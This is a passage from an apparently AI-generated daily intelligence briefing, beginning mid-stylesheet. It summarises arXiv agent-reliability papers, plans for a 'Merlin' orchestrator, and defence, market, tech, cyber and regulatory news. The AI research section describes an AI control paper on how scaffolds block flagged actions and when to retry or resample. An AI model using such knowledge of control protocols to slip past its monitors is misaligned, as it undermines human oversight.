left:0; font-family:'Share Tech Mono',monospace; color:var(--tardis-amber); font-style:normal; }\n        .open-questions { margin-top:12px; }\n        .oq-label { font-family:'Orbitron',sans-serif; font-size:0.58em; font-weight:700; text-transform:uppercase; letter-spacing:0.18em; color:var(--tardis-text-muted); display:block; margin-bottom:5px; }\n        .open-questions ul { list-style:none; }\n        .open-questions li { font-family:'Rajdhani',sans-serif; font-size:0.9em; color:var(--tardis-text-muted); font-style:italic; padding:3px 0 3px 16px; position:relative; }\n        .open-questions li::before { content:'?'; position:absolute; left:0; font-family:'Share Tech Mono',monospace; font-size:0.85em; color:var(--tardis-amber); font-style:normal; }\n        .finding { background:var(--tardis-surface); border:1px solid var(--tardis-edge); border-radius:5px; padding:16px 18px; margin-bottom:16px; }\n        .finding-title { font-family:'Rajdhani',sans-serif; font-size:1.02em; font-weight:700; color:var(--tardis-gold); margin-bottom:10px; line-height:1.3; }\n        .finding-body p { font-size:0.93em; color:var(--tardis-text-dim); line-height:1.55; margin-bottom:8px; }\n        .finding-body p:last-child { margin-bottom:0; }\n        .finding-body strong { color:var(--tardis-text); }\n        .finding-body code { font-family:'Share Tech Mono',monospace; font-size:0.88em; color:var(--tardis-amber); background:rgba(232,158,45,0.1); padding:1px 5px; border-radius:3px; }\n        .finding-priority { font-family:'Share Tech Mono',monospace; font-size:0.82em; color:var(--tardis-green); margin-top:6px; }\n        .kev-entry { font-family:'Rajdhani',sans-serif; font-size:0.93em; color:var(--tardis-text); padding:4px 0; border-bottom:1px solid rgba(231,76,60,0.15); line-height:1.4; }\n        .kev-entry:last-child { border-bottom:none; }\n        .kev-cve { font-family:'Share Tech Mono',monospace; font-size:0.88em; color:var(--tardis-red); }\n        .analysis-body p { font-family:'Rajdhani',sans-serif; font-size:1.0em; color:var(--tardis-text-dim); line-height:1.65; margin-bottom:16px; }\n        .analysis-body p:last-child { margin-bottom:0; }\n        .analysis-body strong { color:var(--tardis-gold); }\n        .analysis-body em { color:var(--tardis-amber); font-style:normal; font-weight:600; }\n        table { width:100%; border-collapse:collapse; font-size:0.9em; margin-bottom:12px; }\n        thead { background:var(--tardis-surface); }\n        th { font-family:'Orbitron',sans-serif; font-size:0.62em; font-weight:700; text-transform:uppercase; letter-spacing:0.12em; color:var(--tardis-text-dim); padding:9px 14px; text-align:left; border-bottom:1px solid var(--tardis-edge); white-space:nowrap; }\n        td { font-family:'Rajdhani',sans-serif; font-size:0.9em; color:var(--tardis-text); padding:8px 14px; border-bottom:1px solid rgba(26,61,102,0.4); line-height:1.35; }\n        tr:hover td { background:rgba(12,34,64,0.5); }\n        .npm-table td { font-family:'Share Tech Mono',monospace; font-size:0.83em; }\n        .npm-table td:first-child { font-family:'Rajdhani',sans-serif; font-size:0.9em; }\n        .metadata-footer { background:var(--tardis-dark); border-top:1px solid var(--tardis-edge); padding:18px 40px; margin-top:8px; }\n        .metadata-grid { display:flex; flex-wrap:wrap; gap:20px 36px; }\n        .metadata-item { display:flex; flex-direction:column; gap:2px; }\n        .metadata-key { font-family:'Orbitron',sans-serif; font-size:0.55em; font-weight:700; text-transform:uppercase; letter-spacing:0.18em; color:var(--tardis-text-muted); }\n        .metadata-value { font-family:'Share Tech Mono',monospace; font-size:0.82em; color:var(--tardis-text-dim); }\n    \n\n\n\n\n\n    \n\n        \n\n        \n\n            \nIntelligence Briefing\n            \nOSINT-First \u00b7 IC Editorial Standards \u00b7 Claude Synthesis\n        \n    \n    \n\n        \nTuesday, 2026-05-26\n        \nOSINT Only\n        \nOvercast \u00b7 66\u00b0F high \u00b7 60\u00b0F low\n    \n\n\n\n\n    \n\n        \nSections\n        01 AI Research\n        02 Merlin Intel\n        03 Military / Geo\n        04 Economic\n        05 Tech\n        06 Cybersecurity\n        07 Regulatory\n        \n\n        \u2211 Analysis\n        // Metadata\n    \n\n    \n\n\n\n\n  \n\n    \n\n      \n      AI Research\n    \n    2026-05-26\n  \n  \n\n    \n\n      BLUF\n      Four papers today address the architecture of reliable agentic systems: harness design, control flow under risk, context consolidation, and always-on personal assistant gaps. One historical paper adds knowledge-state orchestration as a concrete blackboard improvement.\n    \n\n    \n    \n\n      \nFrom Model Scaling to System Scaling: Scaling the Harness in Agentic AI [ArXiv 2605.26112]\n      \nLEAD [ArXiv] 2026-05-25\n      \n\n        \nArgues the primary bottleneck in production agentic AI has shifted from model quality to harness design: auditable, persistent, modular, and verifiable wrappers around foundation models.\n        \nDistinguishes \"model scaling\" (parameter count, capability) from \"system scaling\" (how the surrounding architecture handles reliability, coordination, and failure recovery at volume).\n        \nProvides formal definitions for each harness property: auditability requires logged trace per action; persistence requires state survives session boundaries; modularity requires component substitution without full rewrite; verifiability requires external validation of outputs before commit.\n        \nEvaluates current leading frameworks against the four-property rubric; none satisfy all four in production deployments.\n      \n      \nThe framing resolves a common confusion: teams that improve model quality but not harness architecture see diminishing returns at scale because the failure modes shift to coordination and verification, not capability. Directly applicable to any system running multiple agents against shared state.\n      \nOpen question: Does modular harness design require a shared schema for inter-component handoffs, or can modularity be achieved through interface contracts alone?\n    \n\n    \n    \n\n      \nRetrying vs Resampling in AI Control: When to Restart vs Correct [ArXiv 2605.26047]\n      \nINCLUDE [ArXiv] 2026-05-25\n      \n\n        \nStudies AI coding scaffolds including Claude Code and Codex that \"retry\" by blocking a flagged action and continuing the same trajectory versus \"resampling\" (fresh run from the same prompt).\n        \nFinds retrying outperforms resampling when the error is a discrete terminal action (wrong tool call, bad parameter) \u2014 the trajectory remains valid.\n        \nFinds resampling outperforms retrying when the Judge flags a planning-level error \u2014 continuing the bad trajectory compresses rather than resolves the error.\n        \nProposes a two-tier control protocol: classify error as tactical (action-level) or trajectory-level before routing to retry vs resample.\n      \n      \nEmpirical evidence that \"retry with feedback\" as a universal response to Judge failure is suboptimal. The routing decision \u2014 not the retry mechanism \u2014 is what determines reliability under quality gates.\n    \n\n    \n\n      \nLanguage Models Need Sleep: Memory Consolidation for Long-Horizon Tasks [ArXiv 2605.26099]\n      \nINCLUDE [ArXiv] 2026-05-25\n      \n\n        \nIdentifies context accumulation as a primary failure mode for long-horizon LLM tasks: attention cost scales quadratically, and performance degrades before the context limit is reached.\n        \nProposes sleep-like consolidation: periodic compression of accumulated context into a structured summary, with selective forgetting of low-relevance detail.\n        \nConsolidation outperforms both full retention and naive truncation (drop oldest tokens) on multi-session task completion benchmarks.\n        \nTrending on Hacker News today, indicating broad developer attention to context management in production deployments.\n      \n      \nPractical finding: structured summarization checkpoints improve agent reliability more than increasing context window size. The \"sleep\" metaphor is useful \u2014 the compressed artifact is what persists, not the raw conversation.\n    \n\n    \n\n      \nClaw-Anything: Benchmarking Always-On Personal Assistants with Broad Digital Access [ArXiv 2605.26086]\n      \nINCLUDE [ArXiv] 2026-05-25\n      \n\n        \nBenchmarks LLM agents designed as always-on personal assistants with access to a user's full digital environment (files, email, calendar, browsing history, app state).\n        \nCurrent systems operate over narrow access slices only; performance drops substantially when agents must synthesize across multiple data sources simultaneously.\n        \nIdentifies \"context breadth failure\" as distinct from \"context length failure\": agents fail not because context is too long but because relevant context spans multiple disconnected systems.\n        \nBenchmark released publicly; establishes baseline for cross-system personal assistant evaluation.\n      \n    \n\n    \n    \n\n      \n[90-DAY HISTORICAL] ADEMA: Knowledge-State Orchestration for Long-Horizon LLM Agents [ArXiv 2604.25849]\n      \nHISTORICAL [ArXiv] 2026-04-28\n      \n\n        \nIdentifies three long-horizon failure modes: knowledge states drift across rounds, intermediate commitments remain implicit, and interruption fractures accumulated context.\n        \nADEMA architecture tracks explicit knowledge states per synthesis round with append-only commitment logs. On restart, the commitment log replaces re-derivation.\n        \nTested on multi-session research synthesis tasks; reduces redundant re-derivation by 60% and improves resumption accuracy after interruption.\n      \n      \nSelected for window 3 (Apr 28\u2013May 5). Addresses the same long-horizon reliability problem as 2605.26099 from the state-tracking rather than context-compression angle \u2014 complementary approaches.\n    \n  \n\n\n\n\n  \n\n    \n\n      \n      Merlin Intelligence\n    \n    2026-05-26\n  \n  \n\n    \n\n      BLUF\n      Today's ArXiv output provides direct architectural validation for Merlin Phase 1: three papers address harness design, Judge/Auditor control flow, and context consolidation \u2014 each mapping to an open Phase 1 gap. The retrying-vs-resampling paper is the most immediately actionable.\n    \n\n    \n\n      \n1. Harness Architecture as Merlin's Phase 1 Deliverable [ArXiv 2605.26112]\n      \n\n        \nResearch: \"From Model Scaling to System Scaling\" argues that agentic AI's next bottleneck is harness design, not model quality: specifically, building auditable, persistent, modular, and verifiable wrappers around foundation models. The paper names these four properties as the defining attributes of a production-grade harness.\n        \nMerlin component: The Orchestrator + Blackboard architecture. Merlin already targets all four properties (OTel = auditable, Blackboard = persistent, SKILL.md = modular, Judge/Auditor = verifiable), but they are enforced by convention, not by instrumented checks.\n        \nConcrete build: Add a harness health check to the Orchestrator's pre-flight: assert (1) OTel span emitted for current session, (2) blackboard artifact exists with current task_id, (3) Judge confidence recorded on prior step. This makes harness compliance observable and testable, not aspirational.\n        \nBuild priority: [HIGH] \u2014 Phase 1 closure requires demonstrable auditability. This turns abstract properties into pass/fail assertions.\n      \n    \n\n    \n\n      \n2. Retrying vs Resampling: Judge Gate Should Resample, Not Retry [ArXiv 2605.26047]\n      \n\n        \nResearch: Studied Claude Code and Codex scaffolds that use \"retrying\" \u2014 blocking a flagged action and continuing the same trajectory. Found this underperforms resampling (starting a fresh run) when the risk flag indicates the trajectory itself has gone wrong, not just the terminal action.\n        \nMerlin component: Judge/Auditor quality gate. Currently when Judge scores below threshold (confidence < 92), the Orchestrator re-runs with feedback in the same conversation. This is retrying. The paper's finding: if the Judge is flagging a structural planning error rather than a discrete action, continuing the trajectory is the wrong call.\n        \nConcrete build: Add failure mode classification to Judge output: `TACTICAL_ERROR` (bad action in good plan \u2192 retry with correction) vs `TRAJECTORY_ERROR` (plan itself is wrong \u2192 resample from Planner). The Orchestrator routes differently based on error type rather than always retrying.\n        \nBuild priority: [HIGH] \u2014 Trajectory errors explain why the retry loop gets stuck. This is the unlock for Phase 1 reliability.\n      \n    \n\n    \n\n      \n3. Knowledge-State Drift Is the Blackboard's Live Phase 1 Bug [ArXiv 2604.25849, HISTORICAL]\n      \n\n        \nResearch: ADEMA identifies three failure modes for long-horizon LLM agent tasks: (1) knowledge states drift across rounds, (2) intermediate commitments remain implicit, (3) interruption fractures context. Proposes explicit knowledge-state tracking as the fix.\n        \nMerlin component: Blackboard artifact schema. Currently artifacts store final outputs but not the reasoning chain or intermediate commitment log. When an Orchestrator session restarts mid-task, it re-derives prior decisions from scratch.\n        \nConcrete build: Add `commitment_log` jsonb field to `blackboard_artifacts` \u2014 an append-only list of `{step, decision, rationale, timestamp}` entries. Orchestrator writes one entry per planning decision. On restart, the commitment log is the first thing loaded. Implements ADEMA-style knowledge-state continuity at near-zero schema cost.\n        \nBuild priority: [MEDIUM] \u2014 Solve after Judge routing. This is the Phase 1 persistence problem.\n      \n    \n\n    \n\n      \n4. Context Consolidation for Long Orchestrator Runs [ArXiv 2605.26099]\n      \n\n        \nResearch: \"Language Models Need Sleep\" finds that LLMs in long-horizon tasks accumulate context until performance degrades. Sleep-like consolidation (compress + selectively forget) outperforms both full retention and naive truncation.\n        \nMerlin component: OpenHands conversation sessions for multi-step orchestration runs. As the Orchestrator handles a product build over many steps, context grows and model performance degrades before context limit is hit.\n        \nConcrete build: Implement a consolidation checkpoint: after every N steps (e.g., 5), have the Orchestrator emit a `context_summary` artifact to the blackboard (the \"sleep\" step), then spawn a fresh session seeded with the summary. The commitment_log from Finding 3 is the output of consolidation. This replaces implicit context accumulation with explicit structured handoff.\n        \nBuild priority: [EXPLORE] \u2014 Worth a spike once Phase 1 loop closes. Prerequisite: commitment_log field from Finding 3.\n      \n    \n\n    \n\n      \nOpen Questions\n      \n\n        \nJudge failure classification (tactical vs trajectory) requires the Judge to reason about its own confidence source \u2014 does the current Judge skill prompt have enough context to distinguish \"this action is wrong\" from \"this plan is wrong\"?\n        \nThe harness health check (Finding 1) creates a pre-flight that can block runs. Should harness failures be hard-stop or soft-warn during Phase 1 to avoid breaking the factory while it is being built?\n      \n    \n  \n\n\n\n\n  \n\n    \n\n      \n      Military / Geopolitical\n    \n    2026-05-26\n  \n  \n\n    \n\n      BLUF\n      Three simultaneous carrier posture shifts: PLAN's Liaoning operating east of Luzon while USS George Washington departs Japan; USS Nimitz deploys to Caribbean with pressure on Cuba. South Korea announces domestic nuclear attack submarine program \u2014 the most significant Korean peninsula military development in years.\n    \n\n    \n\n      \nChinese Carrier Liaoning Operating Near Philippines as USS George Washington Departs Yokosuka\n      \nLEAD [USNI] 2026-05-26\n      \n\n        \nJapan's Joint Staff Office confirmed Tuesday that the PLAN Liaoning Carrier Strike Group is operating in the Philippine Sea east of Luzon, Philippines [USNI].\n        \nUSS George Washington simultaneously departed Yokosuka on spring patrol, transitioning from its Japan homeport into Western Pacific operational deployment [USNI].\n        \nFleet tracker confirms USS George H.W. Bush CSG continues operations in the Arabian Sea; USS Nimitz CSG deploying to Caribbean (see below) \u2014 three U.S. carriers simultaneously repositioning across three theaters [USNI].\n        \nPLAN Liaoning's Philippine Sea position represents a forward deployment east of the first island chain, operating in the same waters as U.S. and allied naval forces.\n      \n      \nConcurrent PLAN carrier operations east of the first island chain and USN carrier repositioning from Japan signals active phase of Western Pacific competition. Japan's disclosure of the Liaoning's position, rather than allowing it to pass quietly, reflects deliberate allied transparency signaling. The dual-carrier simultaneous posture is the operational environment for any Taiwan contingency rehearsal.\n      \nOpen question: Whether the Liaoning's Philippine Sea deployment is a transit through the first island chain or a sustained operational patrol position.\n    \n\n    \n\n      \nSouth Korea Announces Domestic Nuclear-Powered Attack Submarine Program\n      \nLEAD [USNI] 2026-05-26\n      \n\n        \nSeoul announced Tuesday it will develop and construct a new class of nuclear-powered attack submarines (SSN) domestically, citing North Korea's growing missile submarine threat [USNI].\n        \nProgram declared \"will be developed and constructed domestically\" \u2014 signaling a defense industrial ambition beyond the immediate operational need.\n        \nSouth Korea has sought nuclear submarine capability for years; prior U.S. opposition centered on nonproliferation concerns under the U.S.-ROK civilian nuclear agreement.\n        \nAnnouncement follows Australia's AUKUS SSN program and Japan's expanded naval posture; signals accelerating regional nuclear-capable naval proliferation among U.S. allies.\n      \n      \nThe ROK SSN program is a structural shift in the Korean peninsula military balance. A domestically produced nuclear submarine program requires 10\u201315 years and sustained political commitment, but the announcement itself changes deterrence calculations. North Korea's submarine-launched ballistic missile program has been cited as the forcing function. The U.S. reaction \u2014 whether it endorses, conditions, or opposes the program \u2014 will determine whether this announcement leads to a program or becomes a negotiating posture.\n      \nOpen question: Whether the U.S. will require ROK access to U.S. naval nuclear propulsion technology (as with AUKUS) or whether South Korea intends fully indigenous development, which would require different enrichment arrangements.\n    \n\n    \n\n      \nUSS Nimitz Carrier Strike Group Deploys to Caribbean as U.S. Intensifies Pressure on Cuba\n      \nINCLUDE [NavyTimes/USNI] 2026-05-26\n      \n\n        \nUSS Nimitz (CVN-68), 51-year-old supercarrier with recently extended service life, arrived in Caribbean midweek with strike group elements including destroyer squadrons [NavyTimes].\n        \nDeployment framed explicitly as pressure application on Cuba; vessel is among the oldest active carriers in the fleet, suggesting the assignment reflects political signaling rather than high-end contingency posturing.\n        \nSimultaneous with Bush CSG in Arabian Sea and George Washington's departure from Japan \u2014 three carrier groups deployed across Western Pacific, Persian Gulf, and Caribbean simultaneously.\n      \n      \nThe Nimitz Caribbean deployment continues a multi-month pattern of U.S. pressure on Cuba and Venezuela using naval presence. Using an aging carrier for the assignment signals confidence the theater does not require a high-readiness platform, while still generating visible political pressure.\n    \n  \n\n\n\n\n  \n\n    \n\n      \n      Economic\n    \n    2026-05-26\n  \n  \n\n    \n\n      BLUF\n      The 10Y-2Y yield spread turned positive at +0.43 \u2014 the yield curve has un-inverted after a prolonged inversion. Historically this precedes recession onset by 6\u201318 months. VIX and HY spreads remain calm, indicating markets have not yet priced this signal.\n    \n\n    \n\n      \nFRED Indicators \u2014 Week of May 26, 2026\n      \n[FRED / St. Louis Fed]\n\n      \n\n        \n          \n            Indicator\n            What It Measures\n            Latest\n            Change\n            Baseline Range\n            Signal\n          \n        \n        \n          \n            10Y\u20132Y Spread (T10Y2Y)\n            Yield curve shape: positive = normal, negative = inverted\n            +0.43\n            \u22120.060\n            +0.5 to +2.0 (normal)\n            \u26a0 Just un-inverted\n          \n          \n            VIX\n            Equity market volatility expectation (fear gauge)\n            16.59\n            \u22120.110\n            12\u201320 (calm); >30 stress\n            Calm regime\n          \n          \n            10Y Treasury (GS10)\n            Long-term government borrowing cost; anchors mortgage and credit rates\n            4.32%\n            +0.070\n            3.5\u20135.0 (current cycle)\n            Elevated, stable\n          \n          \n            HY Option-Adj Spread\n            Risk premium on junk bonds vs Treasuries; rises when credit stress increases\n            2.74%\n            0.000\n            2.5\u20134.0 (benign); >6 stress\n            Tight, risk-on\n          \n          \n            SOFR\n            Overnight lending rate; Fed policy anchor for short-term borrowing\n            3.55%\n            +0.040\n            Fed funds target 3.25\u20133.50\n            At target ceiling\n          \n          \n            Initial Jobless Claims (ICSA)\n            Weekly new unemployment filings; leading recession indicator\n            209,000\n            \u22123,000\n            200\u2013250K (healthy); >300K stress\n            Healthy labor market\n          \n          \n            M2 Money Supply (WM2NS)\n            Total money in circulation; large increases signal inflation risk\n            $22,879B\n            +$164.6B\n            Post-2020 expansion range\n            Expanding\n          \n          \n            Freight Shipments (FRGSHP)\n            Real freight volume index; proxy for economic activity and supply chain health\n            1.011\n            +0.004\n            1.0 = baseline; <0.95 contraction\n            Modest growth\n          \n        \n      \n\n      \n\n        Yield curve un-inversion note: The T10Y2Y at +0.43 marks the end of the prolonged inversion that began in 2022. Historical pattern: yield curve un-inversions after extended negative periods have preceded recession onset by 6\u201318 months in each post-WWII cycle (1989\u20131990, 2000\u20132001, 2006\u20132007). The counter-argument is that this cycle is structurally different due to the speed of the rate-hike-then-cut cycle. Current data \u2014 VIX at 16.59, HY spreads at 2.74, jobless claims at 209K \u2014 shows no imminent distress signal. The divergence between the yield curve signal and current financial conditions is itself informative: either markets are complacent about a coming slowdown, or this un-inversion does not carry the historical predictive weight.\n      \n    \n\n    \n\n      \nCrunchbase: Seed Rounds Larger as Series A Conversion Rate Falls\n      \nINCLUDE [Crunchbase News] 2026-05-26\n      \n\n        \nSeed deal sizes have increased materially while the probability of a seed-funded company reaching Series A has fallen dramatically, per Crunchbase chart analysis [Crunchbase].\n        \nStructural shift: investors are concentrating larger checks on fewer seed companies they believe can reach Series A, rather than distributing across a larger portfolio of smaller bets.\n        \nCompanies failing to raise Series A face a larger absolute funding gap \u2014 the same story that ends in failure now costs investors more to reach that conclusion.\n        \nSimultaneous Crunchbase piece: \"The IPO Comeback Has A Catch\" \u2014 notes IPO market reopening carries restrictive lock-up and profitability conditions not present in 2021 window.\n      \n      \nThe barbell is tightening at the seed stage. For developer tools companies (Supabase's competitive set), this means fewer well-funded Series A competitors entering the market \u2014 but the ones that do emerge are better capitalized and more deliberately chosen. The seed discipline filters weak competitors earlier. IPO conditions favoring profitability over growth accelerate the timeline pressure on venture-backed companies still burning cash.\n    \n  \n\n\n\n\n  \n\n    \n\n      \n      Tech\n    \n    2026-05-26\n  \n  \n\n    \n\n      BLUF\n      OpenRouter doubles to $1.3B valuation in one year \u2014 strong signal for the LLM routing/abstraction layer as a venture-scale market. MySQL community launches governance fork, echoing PostgreSQL's independence model. Supabase-js climbs to 19.8M weekly downloads.\n    \n\n    \n\n      \nOpenRouter Doubles Valuation to $1.3 Billion in One Year\n      \nINCLUDE [TechCrunch] 2026-05-26\n      \n\n        \nOpenRouter, which provides a unified API for routing requests across multiple LLM providers, raised a new round at $1.3B valuation \u2014 more than double its $650M valuation from approximately one year prior [TechCrunch].\n        \nThe company serves as an abstraction layer, allowing developers to write once and route to Claude, GPT-5, Gemini, or open-source models without code changes.\n        \nValuation doubling in 12 months reflects strong developer adoption of multi-model routing as a production pattern rather than a prototyping convenience.\n      \n      \nThe LLM routing/abstraction layer is emerging as a distinct infrastructure category. OpenRouter's trajectory mirrors what API gateway companies (Kong, Apigee) achieved for REST APIs \u2014 developers pay for the routing intelligence and fallback logic rather than managing provider relationships directly. For Supabase, this reinforces that developer tools at the infrastructure layer command premium multiples when they abstract complexity that teams would otherwise rebuild themselves.\n    \n\n    \n\n      \nMySQL Community Launches OurSQL Foundation to Operate Independent of Oracle\n      \nINCLUDE [TheRegister] 2026-05-26\n      \n\n        \nMySQL community contributors announced the OurSQL Foundation to maintain MySQL development and governance independent of Oracle's control [TheRegister].\n        \nOrganizers cited Oracle's slowing release cadence, restricted contributor access, and concerns about long-term licensing as motivations.\n        \nFollows the MariaDB fork pattern from 2009; community has maintained parallel development since Oracle's acquisition of Sun/MySQL in 2010.\n        \nPostgreSQL's community-governed model under the PostgreSQL Global Development Group frequently cited as the alternative template.\n      \n      \nDatabase governance matters for developer trust and adoption velocity. PostgreSQL's community-controlled governance is a meaningful competitive advantage over Oracle-owned MySQL: developers who care about long-term stability choose PostgreSQL partly because no single company can restrict access or change licensing. The OurSQL announcement is both a validation of PostgreSQL's model and a potential fragmentation event for MySQL's installed base \u2014 some MySQL users may migrate to PostgreSQL rather than bet on a new fork.\n    \n\n    \n    \n\n      \nDeveloper Ecosystem: npm Download Trends \u2014 Week of May 26, 2026\n      \n[npmjs.org] 2026-05-26\n      \n\n        \n          \n            Package\n            Weekly\n            Monthly\n            Rate\n            Signal\n          \n        \n        \n          \n            @supabase/supabase-js\n            19,775,886\n            79,114,050\n            1.08\u00d7\n            \u2191 Above baseline\n          \n          \n            prisma\n            11,948,421\n            49,557,830\n            1.04\u00d7\n            Steady\n          \n          \n            drizzle-orm\n            9,648,834\n            38,259,604\n            1.09\u00d7\n            Growing\n          \n          \n            firebase\n            7,397,747\n            30,901,485\n            1.04\u00d7\n            Steady\n          \n          \n            aws-sdk\n            8,644,272\n            38,898,502\n            0.96\u00d7\n            Slight decline\n          \n          \n            convex\n            732,408\n            2,853,129\n            1.11\u00d7\n            Growing\n          \n          \n            @neondatabase/serverless\n            2,063,565\n            8,060,498\n            1.11\u00d7\n            Growing\n          \n          \n            @planetscale/database\n            193,607\n            841,109\n            1.00\u00d7\n            Flat\n          \n        \n      \n      \nSupabase-js at 19.8M weekly \u2014 ahead of Firebase (7.4M) by 2.67\u00d7 and Prisma (11.9M) by 1.66\u00d7. Drizzle at 1.09\u00d7 weekly rate continues its multi-month growth trajectory. Neon at 1.11\u00d7 indicates continued momentum in serverless Postgres. PlanetScale flat at 1.00\u00d7 confirms stagnation trend.\n    \n  \n\n\n\n\n  \n\n    \n\n      \n      Cybersecurity\n    \n    2026-05-26\n  \n  \n\n    \n\n      BLUF\n      Three AI-adjacent security incidents today: Iran-attributed breach of LA transit, nation-states using AI agents for sanctions evasion, and Microsoft Copilot Cowork found to exfiltrate user files. One CISA KEV addition (LiteSpeed cPanel, low significance).\n    \n\n    \n\n      \nIranian Hackers Breached Los Angeles Transit System; Recovery Took Weeks\n      \nINCLUDE [TechCrunch] 2026-05-26\n      \n\n        \nIranian threat actors attributed to the breach of Los Angeles Metropolitan Transportation Authority (LA Metro) systems [TechCrunch].\n        \nRecovery took weeks; specific systems affected not fully disclosed, but breach reached internal networks beyond public-facing infrastructure.\n        \nDistinct from prior Iranian submarine cable interference threats reported in the Arabian Sea theater \u2014 this is a direct attack on U.S. domestic critical infrastructure.\n        \nFollows a pattern of Iranian cyber operations against U.S. transit and municipal systems as asymmetric pressure in response to economic sanctions.\n      \n      \nIran has increased domestic-targeting cyber operations as a sanctions pressure release valve. Transit systems are attractive targets because disruption is immediately visible to civilians without requiring penetration of hardened federal networks. The multi-week recovery time indicates meaningful operational impact.\n    \n\n    \n\n      \nRogue States Deploying AI Agents Systematically for Sanctions Evasion\n      \nINCLUDE [TheRegister] 2026-05-26\n      \n\n        \nNation-state actors \u2014 including North Korea, Iran, and Russia \u2014 deploying AI agents to identify, model, and route around financial sanctions mechanisms at scale [TheRegister].\n        \nAI agents used to map sanctions-compliant financial pathways, identify shell company registration opportunities, and automate transaction structuring at volumes impossible with human operators.\n        \nRepresents a qualitative shift from human-operated evasion to AI-enabled systematic circumvention: speed, scale, and adaptability all increase by orders of magnitude.\n        \nRegulatory bodies (OFAC, EU sanctions authorities) have not publicly disclosed countermeasures.\n      \n      \nThis is the nation-state analogue to AI-assisted fraud at the consumer level. The operational implication: sanctions enforcement frameworks designed for human-speed evasion are structurally under-equipped for AI-speed adaptive evasion. This becomes a forcing function for AI-based detection on the enforcement side.\n    \n\n    \n\n      \nMicrosoft Copilot Cowork Feature Found to Exfiltrate User Files\n      \nINCLUDE [simonwillison.net] 2026-05-26\n      \n\n        \nSecurity researcher documented Microsoft Copilot Cowork functionality transmitting user file contents to Microsoft servers beyond what the feature's described functionality requires [simonwillison.net].\n        \nCowork is a collaboration feature within Copilot that enables shared AI-assisted document editing \u2014 the exfiltration occurred in the course of normal feature use.\n        \nMicrosoft has not issued a formal response as of publication time.\n        \nAdds to a growing list of AI assistant features that expand data access beyond user expectation: prior incidents include Recall (screenshot exfiltration) and various browser copilot implementations.\n      \n      \nThe pattern across Microsoft Copilot incidents is consistent: AI features that require broad context access (to be useful) also create data surface area that exceeds user consent expectations. Enterprise security teams are now systematically reviewing AI-integrated tools for data egress before deployment. This is a category-level trust problem for Microsoft's Copilot suite, not an isolated feature bug.\n    \n\n    \n    \n\n      \nCISA KEV: CVE-2026-48172 \u2014 LiteSpeed cPanel Plugin Privilege Escalation\n      \n[CISA KEV] 2026-05-26 (added today)\n      \n\n        CVE-2026-48172 \u2014 LiteSpeed cPanel Plugin privilege escalation vulnerability. Vendor: LiteSpeed. Product: cPanel Plugin. CISA due date: per KEV standard 3-week remediation window.\n      \n      \nRoutine vulnerability addition. Affects shared hosting environments running LiteSpeed with cPanel. No evidence of campaign-level exploitation or novel attack paradigm.\n    \n  \n\n\n\n\n  \n\n    \n\n      \n      Regulatory\n    \n    2026-05-26\n  \n  \n\n    \n\n      BLUF\n      China mandates pre-approval for private-sector AI experts before international travel \u2014 an escalation of talent mobility controls that will slow knowledge transfer and constrain hiring from Chinese AI institutions.\n    \n\n    \n\n      \nChina Requires Private-Sector AI Experts to Obtain Government Approval Before International Travel\n      \nINCLUDE [Tom's Hardware] 2026-05-26\n      \n\n        \nBeijing issued new regulations requiring AI researchers and technical staff employed at private Chinese firms to obtain government approval before traveling internationally [Tom's Hardware].\n        \nRegulation targets AI expertise specifically; scope includes researchers, engineers, and product managers with access to model weights, training data, or proprietary architecture details.\n        \nExtends prior controls on state-employed researchers to the private sector, which houses the majority of China's frontier AI talent (Baidu, ByteDance, Alibaba, DeepSeek, Moonshot, etc.).\n        \nApproval process timeline and criteria not publicly specified; regulatory ambiguity creates a chilling effect beyond the literal scope of the rule.\n      \n      \nThis is the talent mobility equivalent of export controls. China is treating AI expertise as a controlled strategic asset at the human level, not just the chip or model level. For U.S. and European AI labs, this structurally reduces the pool of Chinese researchers who can join or collaborate internationally \u2014 both by limiting exits and by creating compliance risk for anyone who participates. The practical effect accelerates bifurcation of the global AI research community into Chinese-domestic and international tracks.\n      \nOpen question: Whether the regulation will be applied extraterritorially \u2014 i.e., whether Chinese nationals already working abroad at foreign AI firms face retroactive obligations.\n    \n  \n\n\n\n\n  \n\n    \n\n      \n      Analysis\n    \n    2026-05-26\n  \n  \n\n    \n\n\n      \nThree simultaneous carrier repositioning events \u2014 Liaoning east of Luzon, George Washington departing Yokosuka, Nimitz into the Caribbean \u2014 suggest a period of deliberate posture signaling across multiple theaters simultaneously rather than a single-theater contingency response. The probability is roughly even (55/45) that the Western Pacific movements are coordinated show-of-presence signaling in advance of scheduled diplomatic activity versus an unplanned operational response to specific intelligence. The more structurally significant development is South Korea's nuclear submarine announcement: this is almost certainly (85%+) a genuine program commitment rather than a negotiating posture, given the domestic defense industrial investment it implies. The regional nuclear submarine proliferation arc \u2014 Australia via AUKUS, Japan's expanded naval budget, now ROK \u2014 represents a decade-long structural shift in Indo-Pacific conventional deterrence that is accelerating regardless of U.S. policy.\n\n      \nThe yield curve un-inversion at T10Y2Y +0.43 is the economic signal worth watching, though not acting on yet. Historical base rate for recession onset within 18 months of yield curve un-inversion after prolonged inversion: approximately 80%. Current financial conditions \u2014 VIX at 16.59, HY spreads at 2.74, jobless claims at 209K declining \u2014 show no near-term distress. The divergence suggests either a 6\u201312 month lag before conditions deteriorate, or a genuine structural break from historical patterns due to the speed of this rate cycle. For developer tool spending: seed funding discipline and Series A conversion rate decline are the leading indicators that matter, not equities. The barbell tightening at seed stage likely reduces the cohort of well-funded competitors entering Supabase's market over the next 18 months, which is a net competitive positive.\n\n      \nChina's AI travel approval requirement and rogue-state AI sanctions evasion are two sides of the same structural dynamic: AI expertise is being treated as a controlled strategic asset by state actors simultaneously on offense (weaponized evasion) and defense (talent lock-in). This bifurcation of the global AI research community is probably (70%+) irreversible on a 5-year horizon. The talent pool available to U.S. AI labs from Chinese institutions will contract structurally.\n\n      \nMerlin synthesis: Today's ArXiv cluster on harness architecture is internally consistent: system scaling is the bottleneck, Judge routing logic determines reliability under failure, and knowledge-state drift is the specific mechanism that causes long-horizon orchestration to degrade. The three findings are not independent \u2014 they are different descriptions of the same Phase 1 gap. Probability that addressing Judge error classification (tactical vs trajectory) alone produces measurable Phase 1 reliability improvement: high (75%+). The commitment_log field and consolidation checkpoint are lower-priority but compound: each makes the next one easier to implement.\n\n    \n  \n\n\n    \n\n\n\n\n    \n\n        \n\n            \nGenerated\n            \n2026-05-26 13:20 PT\n        \n        \n\n            \nArXiv Window\n            \nWindow 3 \u00b7 2026-04-28 \u2013 2026-05-05\n        \n        \n\n            \nSections\n            \n7 sections + Analysis\n        \n        \n\n            \nLeads\n            